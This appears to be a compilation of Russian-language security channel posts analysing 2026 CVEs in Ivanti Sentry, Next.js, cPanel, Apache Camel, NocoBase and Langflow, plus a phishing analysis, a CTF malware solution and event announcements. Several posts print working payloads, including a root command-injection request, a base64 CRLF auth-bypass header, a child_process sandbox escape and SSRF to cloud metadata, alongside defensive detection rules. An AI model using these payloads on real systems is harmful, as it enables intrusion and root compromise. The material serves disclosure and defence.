Четыре луча

Ivanti Sentry RCE CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root. 🫡 Метрики

Base Score: 10.0 CRITICAL CWE: CWE-78

🫡 Об уязвимости Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.

StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
    command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
    module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
    xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
               sb.append(tokenizer.nextToken()).append(" ");
            }

            value = sb.toString().trim()
…
response = this.handleMessage(module, xpath, command, value);

Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.

switch (ConfigCommand.getCommand(command)) {
 …
   case EXECUTE: 
     response = reqProcessor.handleExecute(xpath, value);
     break;
…

      return response;
   }

Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST. Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().

…
XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);
…
Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");

executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod() Выполняет код через excuteModuleMethod()

String implClsName = obj.getClass().getName();
      String methodType = "get" + type + "method";
      Method method = ReflectionUtilities.getMethod(implClsName, methodType);
      XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
      method = ReflectionUtilities.getMethod(implClsName, "getClassname");
      XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
      method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
      XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);

     Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
         className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
      )

🫡 Результат Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root) 🫡 Пример

execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>

execute — command system — module /configuration/system/commandexec — xpath Оставшаяся часть — value, пример запроса на скриншоте. 🫡 Как защищаться 1) Обновиться. 2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage. 3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message приедается строка execute, <commandexec> , system и тд.

Приходите на наш онлайн-практикум про использование киберразведки в SOC! Завтра в 12:00 по Москве наши эксперты по охоте за угрозами проведут практикум. Мы на реальных примерах покажем, как качественная киберразведка ускоряет детектирование сложных киберугроз на уровне SOC. Что расскажем: 🫡 как поймали змея за хвост в организации, где он сидел незамеченным 1,5 года; 🫡 как обнаружили, что сотрудники установили хакерские инструменты в обход политик безопасности компании; 🫡 как с помощью киберразведки обнаруживать и блокировать DNS-туннели, вредоносы, которые используют DGA, и скрипты, применяющие DNS Rebinding. Это лишь небольшая часть того, что наша команда приготовила для практикума. Если в SOC вы отвечаете за эффективность, то регистрируйтесь — будет много пользы.

Не делай добра, не получишь зла Представьте, что вам пришло сообщение:

Привет Боря, поставь за Машу голос в конкурсе рисунков.

Внутри ссылка на конкурс и просьба распространить информацию среди друзей. Вроде обычная просьба или здесь что-то не так? 🫡 Схема Сначала пользователя ведут на страницу «благотворительного конкурса детского рисунка». Карточки с детьми, кнопки «Проголосовать», блоки с наградами. Всё выглядит органично. Единственный нюанс: голос нужно «подтвердить через Telegram» — якобы «во избежание подтасовки и мошенничества». Это классический прием: человека заранее приучают к мысли, что авторизация через мессенджер — нормальная и нужная часть процесса. После нажатия кнопки открывается страница с логотипом Telegram, формой ввода номера и подписью «Система проверки голосов». Но в адресной строке видно главное — это не Telegram, а всё тот же сторонний домен. Перед нами не реальная авторизация, а фишинговая прокладка, которая выманивает данные или код подтверждения. 🫡 Инфраструктура Несколько характерных признаков указывают, что это не одноразовый лендинг: ✅ URL у разных жертв различаются, но в путях повторяются шаблоны: /ru-smile/*, /ru-color/*, /ru-future/* — признак кластера фишинговых посадочных страниц. ✅ Злоумышленники зарегистрировали огромное количество доменов вида radost-teatr.com.tr, hope-ink.lol, mirrisunkov.cyou, deti-artvision.shop (ищите полный список в комментариях). ✅ Большая часть ссылок находится на поддоменах, в качестве которых используются случайные английские слова вроде its, instead, six и т.д. ✅ Поведение ссылок нестабильно: одна и та же ссылка может вернуть фишинговую страницу, редирект на Google или HTTP/2 400 от Cloudflare в зависимости от пользовательского окружения. Это может быть фильтрация по устройству, окружению, «качеству» трафика или другим признакам. В одном из ответов бэкенд подставлял строку [No Host] — признак сломанной серверной логики или фильтрации трафика. ✅ Домены работают короткое время и иногда снова «оживают» — типичное поведение временной быстро пересобираемой инфраструктуры. 🫡 Итог Схема строится на трех слоях: доверие к знакомому аккаунту → эмоциональный триггер («ребенок», «конкурс», «помоги») → техническая развилка на стороне сервера. Жертва ошибается не в том, что переходит по ссылке — а в том, что вводит номер и код на странице, которая лишь притворяется Telegram. Это не «одна плохая ссылка» — это живая и управляемая схема.

Обновите Next.js Vercel опубликовала масштабное обновление безопасности для Next.js, которое закрывает более десяти уязвимостей. Среди них — отказ в обслуживании (DoS), обход middleware, подделка серверных запросов (SSRF) и межсайтовый скриптинг (XSS). Проблемы присутствуют в версиях с 13.x по 16.x (с App Router) и в пакетах React Server Components 19.x. Кратко опишем часть уязвимостей, получивших CVE-идентификатор 🫡 CVE-2026-23870 (CWE-674, CVSS -7,5) App Router вызывает серверные действия через POST-запросы к тому же URL, что и RSC-страница с заголовком Next-Action: <ACTION_ID>. Тело запроса — сериализованный RSC-ответ, передаваемый в decodeReply()/decodeAction() из React. Ранее парсер React при гидратации (Hydration) ссылок ($<n>, $Sym$Iterator, $F.bind и т.п.) не ограничивал глубину обхода графа и не проверял циклы. В результате тело POST- запроса, например:

0:{"a":"$1"}
1:{"b":"$2"}
2:{"c":"$3"}
...
N:{"end":"$0"}

Может привести к DoS из-за исчерпания ресурсов процессора. 🫡 CVE-2026-44573 (CWE-863, CVSS – 7,5)   В Next.js с Pages Router и включенной интернационализацией (i18n) фреймворк предоставляет JSON-варианты страниц по двум типам адресов: 1️⃣ /_next/data/<buildId>/<locale>/<page>.json — публичная форма с локалью; 2️⃣ /_next/data/<buildId>/<page>.json — внутренняя форма без локали. Регулярные выражения middleware некорректно обрабатывают URL-адреса данных: они распознают префикс _next/data, но не покрывают все варианты префикса локали. В результате злоумышленник может запросить _next/data с отсутствующей или неверной локалью (или вообще без локали), и запрос достигнет обработчика страниц без перенаправления и проверки middleware. Пример:

GET  /_next/data/<buildId>/secret.json

🫡 CVE-2026-44574 (CWE-693, CVSS-7,5) Уязвимость позволяет злоумышленнику обойти middleware и получить несанкционированный доступ к динамическим маршрутам (например, /admin/[slug]) путем внедрения специальных внутренних параметров запроса (nxtP*, nxtI*), которым доверяет App Router, но которые игнорирует middleware. Пример :

GET /safe?nxtPslug=admin-only-page&__NEXT_PRIVATE_NO_MIDDLEWARE_RUN=1

  🫡 CVE-2026-44578 (CWE-918, CVSS - 8.6) Автономный сервер Next.js автоматически перенаправлял любые HTTP-запросы с заголовком Upgrade (например, Upgrade: websocket) без проверки, предназначен ли этот маршрут для обработки таких соединений. Это позволяло злоумышленнику через абсолютный URL или поддельный Host-заголовок заставить сервер Next.js установить произвольное TCP-соединение с любым хостом и портом, доступным из внутренней сети сервера. Пример:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 127.0.0.1:3000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

🫡 CVE-2026-44581 (Severity- High, CWE-79) App Router из Next.js извлекает CSP-nonce из Content-Security-Policy заголовка запроса и дублирует его на встроенные <script nonce="..."> элементы (загрузочная информация Flight, метаданные, вставляемые сервером и т. д.), чтобы браузер разрешил их выполнение. Пример:

Content-Security-Policy: script-src 'nonce-" onerror="alert(1)'

🫡 CVE-2026-44582 (CVSS -5,9, CWE-328) App Router в Next.js добавляет ?_rsc=<hash> параметр запроса к RSC-запросам, чтобы CDN, использующие URL-адрес в качестве ключа (а не заголовок RSC: 1запроса), не могли объединять различные варианты полезной нагрузки в одну запись кэша. Хеш-функция представляла собой усеченную 32-битную смесь в стиле MurmurHash (computeLegacyCacheBustingSearchParam), имея всего около 4 миллиардов возможных сегментов и четыре переменных входных параметра. Другие уязвимости подробнее описаны здесь.

CRLF в cPanel CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40. 🫡 Метрики

Base Score: 9.8 CRITICALCWE: CWE-306

🫡 Кратко об уязвимости При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на:

powershellSet-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa; 

Wg_mjzgt1hyfXefK — первая часть значения cookie указывает на файл авторизации. Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии.

if ($encoder && length $session_ref->{'pass'}) {
    local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});

🫡 Части цепочки 1️⃣ }$encoder — значение получено на основании хэша обфускации. Если оно будет пустым, например Wg_mjzgt1hyfXefK, то условие вернет false и данные не закодируются. 2️⃣ Значение заголовка Authorization не очищаются должным образом и пропускают CRLF-инъекцию, позволяющую записать новые данные в файл авторизации. 3️⃣ После того как данные попали в файл сессии, нужно перезаписать их в файле кеша, который cPanel использует для авторизации. Для этого используется запрос, который вызовет функцию do_token_denied, например в эксплойтах это GET /scripts2/listaccts. 4️⃣ Установка successful_internal_auth_with_timestamp значения в заголовке Authorization необходима для пропуска проверки пароля. 🫡 Пример нагрузки после декодирования из Base64

shellroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

🫡 Пример CRLF-запроса

GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

🫡 Как защищаться 1) Обновиться. 2) Проверить логи сервера на цепочку запросов с минимальным временным промежутком POST /login/?login_only=1 -> GET / c заголовком Authorization -> GET /scripts2/listaccts. 3) Проверить недавно созданные сессионные файлы. 4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession заголовком (отсутствие хеш-обфускации), и Authorization, содержащим символы \r\n после декодирования из base64.

Десятибальная уязвимость в Apache Camel

Apache Camel — интеграционный фреймворк, реализующий шаблоны корпоративной интеграции (Enterprise Integration Patterns) и обеспечивающий маршрутизацию сообщений между различными системами. В основе архитектуры лежит модель передачи сообщений через объект Exchange, содержащий тело сообщения и набор заголовков (headers), используемых как для передачи данных, так и для управления поведением компонентов. camel-coap — это компонент фреймворка Apache Camel, который добавляет поддержку протокола CoAP.

CVE-2026-33453 — уязвимость в компоненте сamel-сoap в Apache Camel, относится к классу CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes и позволяет неаутентифицированному удаленному атакующему добиться выполнения произвольного кода. 🫡 Уязвимы версии 4.14.0 - 4.14.5 4.18.0 4.19.0 🫡 Метрики

Base Score: 10 CRITICAL CWE: CWE-915

🫡 Подробнее об уязвимости В Apache Camel поток обработки сообщений имеет следующий вид:

Consumer — Exchange — Processor — Producer

При этом заголовки объекта Exchange используются как управляющие параметры, которые влияют на поведение компонентов. В компоненте camel-coap входящие CoAp URI query-параметры напрямую преобразуются в заголовки Exchange без какой-либо фильтрации:

OptionSet options = exchange.getRequest().getOptions();
            for (String s : options.getUriQuery()) {
                int i = s.indexOf('=');
                if (i == -1) {
                    camelExchange.getIn().setHeader(s, "");
                } else {
                    camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
                }
            }

options.getUriQuery() берет query-параметры из CoAP-запроса, а затем каждый параметр напрямую записывается в camelExchange.getIn().setHeader(...) без проверки через HeaderFilterStrategy, что реализовано в исправлении:

HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();

...

                if (strategy == null
                        || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
                    camelExchange.getIn().setHeader(name, value);
                }
            }

Это позволяет неаутентифицированному атакующему, отправив всего один CoAP-пакет на маршрут coap://, внедрить произвольные внутренние заголовки Camel* в Exchange. При передаче сообщения в компоненты (например, camel-exec, camel-sql, camel-bean, camel-file, camel-freemarker, camel-velocity), поведение которых определяется значениями заголовков, внедренные заголовки интерпретируются как управляющие параметры и могут изменить их работу. В случае camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют команду и её аргументы, что приводит к выполнению произвольного кода от имени процесса Camel. 🫡 Как защититься 1. Обновиться до версий, в которых содержится исправление. 2. Добавить правило IDS, которое будет реагировать на UDP пакет из внешней сети к порту 5683 (либо другой используемый порт) с содержимым CamelExecCommandExecutable и CamelExecCommandArgs.

Лабораторный эксперимент — создаем стенд для тестирования уязвимости CVE-2026–21636. CVE-2026-21636 — это уязвимость в модели разрешений Node.js, которая позволяет обходить сетевые ограничения с помощью соединений Unix Domain Socket (UDS) или подключений к локальному адресу (например, 127.0.0.1). 🫡 Метрики

NIST: NVD Base Score: 10.0 CRITICAL CNA: HackerOne Base Score: 5.8 MEDIUM CWE: CWE-284

🫡 Подробнее Процесс, запущенный с флагом --permission, ограничен в доступах и возможностях. Доступ к запуску дочерних процессов и созданию рабочих потоков предоставляется с помощью флагов --allow-child-process и --allow-worker. Например, для разрешения доступа к сети используйте флаги --permission --allow-net. Здесь и возникает уязвимость, которая позволяет обходить сетевые ограничения при включенном параметре --permission. Даже без --allow-net, контролируемые злоумышленником входные данные (такие как URL-адреса или параметры socketPath) могут подключаться к произвольным локальным сокетам и адресам через net, tls или undici/fetch. На данном этапе модель разрешений в Node.js (в части сетевых ограничений) — экспериментальная. 🫡 Сценарий, который реализуется в лабораторной: 1. Атакующий отправляет вредоносные данные в server.mjs. 2. server.mjs (песочница) через уязвимость CVE-2026-21636: — отправляет сигнал SIGUSR1 процессу target.cjs; — target.cjs включает отладчик на порту 9229. 3. server.mjs через fetch() (обходя --allow-net) подключается к отладчику target.cjs. 4. Атакующий через отладчик выполняет ЛЮБОЙ КОД внутри target.cjs. 5. target.cjs (у которого нет ограничений) читает /etc/passwd, запускает rm -rf / и т.д. 🫡 Нюанс: Отладчик на порту 0.0.0.0:9229 установлен нами намеренно для большего контроля, он запускается автоматически при старте проекта. Чтобы лабораторная была более реальной, в файле supervisord.conf замените

[program:target]
command=node --inspect=0.0.0.0:9229 /app/target.cjs 

на

[program:target]
command=node /app/target.cjs

При альтернативной настройке curl http://localhost:9229/json будет не доступен вне контейнера, а отладчик нужно будет запустить через SIGUSR1. На главной странице лабораторной есть инструкция по эксплуатации, дополнительная информация отображается в логах сервера. Например, при успешном запуске отладчика в логах вы увидите:

Debugger listening on ws://127.0.0.1:9229/7ddfd664-7dd2-4667-bbac-4f7b8ce3f4fd

запуск через:

sudo docker compose up

Большая атака на маленькую компанию Злоумышленники за две недели уничтожили всю инфраструктуру небольшой спортивной организации с помощью старой утечки у крупного подрядчика-интегратора ПО. В процессе атаки обнаружили образец вредоносного ПО на .NET Framework, который мимикрирует под установленный в 1C. Подробности в новой статье

Решение задания с митапа Solar 4RAYS Мы предложили участникам решить CTF-задание DropMeAgent с анализом «вредоносного» файла. Несмотря на отдельные комментарии, что задание было слишком простое, за отведенное время его решили всего два участника. У большинства возникли сложности и вопросы на разных этапах выполнения. Делимся решением. 💡 Задание:

Нужно проанализировать вредоносный файл Agent.exe. Для решения задания потребуется ноутбук и доступ к интернету. Формат флага: ^flag\{[A-Za-z0-9_]+\}$ PS: файл получился действительно вредоносным! Настоятельно рекомендуем не запускать файл в основной системе — используйте виртуальную машину для решения. Ссылка на файл: https://dropmefiles.com/cBPuk Пароль от архива: 123 * ссылка доступна до 24.04.2026

✅ Решение: 0️⃣ Любым способом нужно определить, что файл Agent.exe — это приложение .NET 9. Следовательно, потребуется декомпилятор (например, ILSpy). Также в описанном решении потребуется .NET 9 SDK и IDE для C# 1️⃣ В результате анализа Agent.exe должны получиться следующие данные: — В классе Params в переменной Message содержится зашифрованная конфигурация файла. — Метод RunAssembly загружает с dropmefiles.com зашифрованные сборки .NET и запускает их. — Расшифровка конфигурации и сборок выполняется с помощью метода Dec. — Метод GetParams расшифровывает и парсит конфигурацию 2️⃣ Чтобы облегчить решение, создаем свой проект на C# и переносим в него класс Params и методы Dec и GetParams. С помощью расшифровки Message получаем конфигурацию:

Encoding.UTF8.GetString(Dec(Params.Message))

{
    "c": "https://dropmefiles.com/",
    "i": 2,
    "p":
    [
        { "PxyG8": "1" },
        { "ExwwU": "1" },
        { "KRhvk": "3" }
    ]
}

Так получаем три ссылки на сборки .NET с ресурса dropmefiles.com 3️⃣ Поочередно расшифровываем все обнаруженные нагрузки

var decrypted_dll = Dec(File.ReadAllBytes("payload1"));
File.WriteAllBytes("payload1.dll", decrypted_dll);

4️⃣ В результате декомпиляции payload1 получаем код:

public class EntryPoint
{
  private static string SECRET = "srm3sKOuv+q/srO6v5XSvNCXh56btoeCmIyesMLBwMWJ";

  public static void Run()
  {
    Console.WriteLine(Decrypt(SECRET));
  }

  private static string Decrypt(string cipherText)
  {
    byte[] array = Convert.FromBase64String(cipherText);
    for (int i = 0; i < array.Length; i++)
    {
      array[i] ^= (byte)(212 + i);
    }
    return Encoding.UTF8.GetString(array);
  }
}

5️⃣ Запускаем код из payload1 и сдаем флаг организаторам. Надеемся, что вы не попались на рик-ролл и не потратили много времени на поиск флага в файле flag.mp4. Ну что, насколько сложным был таск? 🤓 — слишком просто 😨 — слишком сложно 🔥 — всё понравилось

Митап Solar 4RAYS уже завтра: осталось 10 мест 😬 Какую программу подготовили:

✅ Лада Антипова из Angara Security выступит с докладом «От инженера до руководителя DFIR или технические ошибки, о которых предпочитают не говорить». ✅ Алексей Хабаров из Solar 4RAYS расскажет об истории ботнета ProxyCB. ✅ Антон Каргин из Kaspersky GReAT сделает обзор новых инструментов группировки Silver Fox. ✅ Максим Шаманов из Positive Technologies на примере инструментария PhantomCore объяснит, как разбирать вредоносное ПО и работать с обфускацией.

А еще эксперты команды DFIR и MA из Solar 4RAYS приготовили DropMeAgent — несложное (но и не простое;)) задание из области цифровой криминалистики. Если собираетесь к нам и настроены на загадки, захватите ноутбук — пригодится для решения. В общем, мы подготовили интересный ивент для ИБшников, как начинающих, так и продолжающих. Так что сейчас самое время зарегистрироваться на мероприятие: осталось всего 10 мест! Когда: 21 апреля в 18:00 Где: офис «Солара», Никитский переулок, 7с1 До встречи на митапе ❤️

Приходите на Митап Solar 4RAYS: расследование инцидентов, вредоносное ПО, киберразведка 📅 21 апреля в 18:00 в Амфитеатре офиса «Солар» на Никитском переулке пройдет митап команды Solar 4RAYS — открытая встреча для всех, кому близка тема киберугроз, расследований и охоты за вредоносами. В программе: 😬 разберем новое исследование крупного ботнета; 😬 доклады приглашенных спикеров из других ИБ-компаний с реальными кейсами и находками; 😬 мини-соревнование: приготовили задание на форензику, так что можно будет попробовать себя в роли расследователя цифрового инцидента. Подробную программу скоро опубликуем, но уже сейчас можно бронировать слот в календаре. Зарегистрироваться Как говорится, save the date — будет насыщенно, полезно и уж точно не скучно ;)

Что общего у атак Shedding Zmiy и русской литературной классики? И там, и там есть мертвые души. Недавно мы расследовали инцидент — проукраинская группировка атаковала крупную российскую организацию в сфере здравоохранения. Выяснили, что атакующие более шести месяцев имели доступ к инфраструктуре организации из отрасли здравоохранения через VPN и шпионили. Подключались к инфраструктуре с помощью учетных записей уволенных сотрудников, которые вовремя не вывели из эксплуатации.  😬 Читайте подробности в новой статье

Побег из песочницы CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.

NocoBase — это легко расширяемая open-source no-code/low-code платформа для разработки, которая помогает командам разработчиков и бизнесу быстро создавать собственные управляемые бизнес-системы.

🫡 Метрики

Base Score: 9.9 CRITICAL CWE: CWE-913

🫡 Об уязвимости Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через console._stdout и console._stderr. Злоумышленнику достаточно базовых прав, чтобы вытащить объекты WritableWorkerStdio и выйти за пределы изоляции. Уязвимая конечная точка — /api/flow_nodes:test Уязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора. 🫡 Код для выхода из песочницы. Пример команды

const cons=console._stdout.constructor.constructor;
const proc= cons('return process')();
const cmd=proc.mainModule.require('child_process'); 
return cmd.execSync('id').toString().trim(); 

✅ console._stdout.constructor.constructor или аналог console._stderr.constructor.constructor - пытается добраться до конструктора Function через цепочку прототипов. ✅ cons('return process')() — создаёт функцию, которая возвращает объект process из хост-среды. ✅ proc.mainModule.require('child_process') — загружает модуль child_process. ✅ execSync('COMAND') — выполняет системную команду и возвращает вывод. Вариации полезной нагрузки могут изменяться, например, кодироваться, передаваться в другом регистре и т.д. ✅ execSync(String.fromCharCode(105,100)).toString().trim() — выполнит команду ID. К посту прикреплен docker-compose файл, для сборки уязвимой версии NocoBase. Логин и пароль для авторизации предлагаем найти самостоятельно. 🫡 Как настроить стенд Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте. 🫡 Как защититься 1) Сменить стандартные логин и пароль администратора. 2) Ограничить доступ к /api/flow_nodes:test только администраторам. 3) Обновиться. 4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.

Устраиваем «битву кейсов» с коллегами из DSEC. Присоединяйтесь! Завтра в 12:00 участвуем в вебинаре. Но это не просто вебинар, это настоящая «битва эпических ИБ-историй». Идея такая: 📍 Мы — делимся историями из реальных расследований инцидентов, которые провели в организациях из шести разных индустрий. 📍 Наши коллеги из DSEC — оппоненты. Они расскажут о самых уязвимых веб-приложениях, самых распространённых брешах во внешнем и внутреннем контурах. Ребята провели 400 пентестов, им есть что рассказать! Насколько те проблемы безопасности, которые мы находим в качестве причин реальных инцидентов, перекликаются с тем, что находят в своей работе эксперты из DSEC? Мы в предвкушении. Если и вы тоже, то присоединяйтесь к «битве»: https://rt-solar.ru/analytics/webinars/6463/

Как распаковать Smart Install Maker

Во время реверса аналитику регулярно нужно преодолевать многоуровневую обфускацию. Сами знаете: прежде чем добраться до интересной логики, часто приходится вручную разбирать кастомные протоколы, восстанавливать конфигурации или извлекать данные из нестандартных контейнеров. Особая боль категория таких задач — образцы, собранные с помощью конструкторов инсталляторов. Они маскируют вредоносную нагрузку под легитимный процесс установки, но при этом требуют специфического подхода к распаковке.

😬 Один из инструментов — Smart Install Maker: формат известен давно, но качественных открытых утилит для его разбора до сих пор нет, а существующие решения часто неудобны для интеграции в аналитический пайплайн. При этом формат продолжают активно использовать злоумышленники, в частности, APT-группа Librarian Likho (aka Rare Werewolf и Rezet) применяла его в своих кампаниях для доставки вредоносов. Мы написали статью, в которой разобрали внутреннюю структуру этого формата на примере одной из нагрузок Librarian Likho. А ещё делимся кодом распаковщика на Python, который можно сразу использовать. Всем отличной пятницы ❤️

Dead Drop Resolver переехал в Spotify и Chess Если раньше C2 чаще прятали в Steam и Telegram, то теперь в качестве dead drop-источников начинают использовать и менее очевидные площадки — плейлисты Spotify и профили Chess.com. 👍 В новой статье мы разбираем семпл MaskGramStealer, где адрес C2 извлекается из публичного контента легитимных сервисов, а затем используется для дальнейшего взаимодействия с инфраструктурой атакующих. На практике такая схема усложняет блокировки, поскольку в бинарном файле остаются только ссылки на легитимные ресурсы и маркеры парсинга, а сами C2 злоумышленники могут менять в любой момент без перекомпиляции и пересборки семпла. Что разобрали в статье: ✅ DDR-источники Spotify и Chess.com (с резервными площадками); ✅ как из публичной страницы извлекается C2; ✅ доставка модулей: base64 — RC4 — проверка MZ; ✅ геофильтрация зараженных устройств из РФ. Читать разбор техники Dead Drop Resolver в MaskGramStealer

RCE Langflow CVE-2026–33017 — уязвимость удаленного выполнения кода (RCE) в Langflow версиях до 1.9.0. Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ. 🫡 Метрики

Base Score: 9.3 CRITICAL CWE: CWE-94, CWE-95, CWE-306.

🫡 Об уязвимости В уязвимых версиях Langflow существует API-точка /api/v1/build_public_tmp/{flow_id}/flow, которая предназначена для создания общедоступных потоков (flows) без авторизации. Конечная точка принимает необязательный параметр data с JSON-описанием графа. При его наличии сервер использует переданные данные вместо сохраненного flow из БД, что позволяет выполнить произвольный Python-код через CustomComponent не изолированно. 🫡 Векторы реализации атак 1) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "true" , злоумышленник может посмотреть flow_id любого публичного потока через GET-запрос на конечную точку /api/v1/flows/. Или создать публичный поток через запрос POST/PATCH на конечную точку /api/v1/flows/ После эксплуатации уязвимости публичный поток может быть удален через DELETE-запрос к /api/v1/flows/. 2) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "false" получение значения flow_id публичного потока злоумышленником, усложниться. Так как все запросы на /api/v1/flows/ будут требовать авторизации. Значение Cookie client_id в обоих вариантах может быть авто сгенерированным, например, через str(uuid.uuid4()). LANGFLOW_AUTO_LOGIN: "true" включает функцию автоматического входа и позволяет получать авторизационные cookies без явной авторизации через логин/пароль. Проверить, включена ли эта настройка, можно с помощью GET-запроса к /api/v1/auto_login: если в ответе возвращается токен авторизации, значит автоматический вход активен. Данная настройка усложняет получение flow_id, но не закрывает уязвимость. 🫡 Эксплуатация После получения всех необходимых ID-эксплуатация структурно, выглядит так:

POST /api/v1/build_public_tmp/27a7a181-f100-4b9a-a963-13099384eac0/flow HTTP/1.1
Host: localHost
Cookie: client_id=RANDOM_STRING
Content-Type: application/json
{"data": {...}}  

Пример можно увидеть на скриншоте. 🫡 Как защищаться 1) Установить LANGFLOW_AUTO_LOGIN: "false”. 2) Обновиться. 3) Написать IDS/WAF-правила, блокирующие POST-запросы на /api/v1/build_public_tmp/{flow_id}/flow, где в параметре data могут передаться потенциально опасные функции, например: import, system, exec, os, popen и т.д.

Как устроена веб-панель вредоноса ClayRat ClayRat — Android spyware/RAT, который громко заявил о себе в конце 2025 года, но также быстро исчез из поля зрения. Не самый изощренный, но практичный инструмент для скрытого наблюдения и удаленного управления устройством. В новой статье мы подробно разбираем серверную и клиентскую часть ClayRat: ✅ как устроен бэкенд на Go, хранение паролей в plaintext, использование JSON хранилища вместо базы данных; ✅ как работает многоуровневая фильтрация SMS по ключевым словам банков и регулярным выражениям; ✅ каким образом генерируются вредоносные APK через специальный шаблон.

Факты о ClayRat: — Android spyware/RAT с функциональностью перехвата SMS, звонков, контактов, скриншотов и удаленного управления. — Бэкенд написан на Go, не обфусцирован, содержит дебаг-строки и использует файловое хранение (JSON) вместо СУБД. — Конфигурация хранится в plaintext: пароли пользователей, токены Telegram/SMS, C2-домены. — Фильтрация SMS реализует многоуровневый парсинг: поиск по ключевым словам банков, МФО, маркетплейсов, регулярные выражения для номеров карт. — APK-билдер генерирует вредоносные приложения на основе шаблона с подстановкой конфигурируемых параметров. — Инфраструктура насчитывала ~100 серверов  К декабрю 2025 года все C2-серверы стали недоступны. В открытых источниках — информация о задержании в Краснодаре студента, подозреваемого в создании вредоноса.

Если вы занимаетесь анализом Android-угроз, материал поможет быстрее атрибутировать схожие образцы и понимать типичные ошибки разработчиков малвари. 🔗 Читать анализ ClayRat

Анализ уязвимости CVE-2026-32746 в telnetd CVE-2026-32746 — критическая уязвимость переполнения буфера в демонe telnetd из пакета GNU Inetutils. Уязвимы версии до 2.7 включительно. Уязвимость позволяет удаленному атакующему без аутентификации переполнить буфер, а в некоторых случаях выполнить произвольный код с правами root. 🫡 Метрики

Base Score: 9.8 CRITICAL CWE: CWE-120

🫡 Причина уязвимости Проблема возникает в обработчике опции LINEMODE протокола Telnet, а именно в функции add_slc(), которая добавляет SLC-триплеты во внутренний буфер фиксированного размера. Здесь нет проверки границ буфера — в итоге происходит запись за пределами отведенной памяти при обработке большого количества SLC-триплетов. 🫡 Подробнее При установлении Telnet-сессии telnetd включает LINEMODE и обрабатывает SLC (Set Local Characters). Функция add_slc() записывает SLC-триплеты по 3 байта в статический буфер slcbuf размером 108 байт, из которых 104 байта доступны под данные:

add_slc (register char func, register char flag, register cc_t val)
{

  if ((*slcptr++ = (unsigned char) func) == 0xff)
    *slcptr++ = 0xff;

  if ((*slcptr++ = (unsigned char) flag) == 0xff)
